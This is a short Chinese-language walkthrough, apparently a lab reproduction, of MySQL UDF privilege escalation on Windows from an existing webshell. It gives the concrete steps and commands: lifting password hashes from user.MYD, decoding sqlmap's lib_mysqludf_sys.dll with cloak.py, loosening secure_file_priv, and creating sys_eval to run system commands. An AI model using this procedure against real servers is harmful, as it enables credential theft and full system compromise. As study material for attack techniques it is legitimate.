mysqlUDF提权的原理就是创建一个函数来调用系统命令,这里的复现是从已经得到了webshell开始的。(php mysql win7 环境)
1.得到数据库账号密码。
我们得到数据库账号密码的方式有很多种,这里我们利用mysql数据库的特性,蚁剑连接后,我们进入C:\phpStudy\MySQL\data\mysql\user.MYD
mysql的数据库密码一般都会再db.MYD文件中,只需要复制拿到cmd5解码就行
然后蚁剑登录数据库
2.进行提权
udf提权就是将dll文件导入目录,然后执行sql语句创建一个可以执行系统命令的函数
UDF提权有条件。版本和目录
mysql<5.1 导出目录 C:/windows 或 system32
mysql=>5.1 导出安装目录 /lib/plugin/ 没有plugin目录需要自己创建
查版本
select version();
大于5.1
这里蚁剑直接创建目录
然后就是导入dll文件
dll文件在sqlmap里面有,目录是
sqlmap\data\udf\mysql\windows
选择位数
然后这里用对dll文件重新编译一下
python cloak.py -d -i C:\Users\**\Desktop\sqlmapproject-sqlmap-1.7.5-0-g8bc2ace\sqlmapproject-sqlmap-8bc2ace\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
编译的python脚本在
sqlmap\extra\cloak
然后将dll文件上传。
有种方式是数据库上传文件,那就需要查看
show variables like '%secure%';
去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=
还有就是使用
select @@basedir();
查看数据库路径后去修改他的my.ini文件
因为这边我使用的是蚁剑,所以直接上传文件。
然后进入使用数据库语句的地方
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
创建可以执行系统命令的函数 sys_eval
然后就可以执行系统命令了
提权成功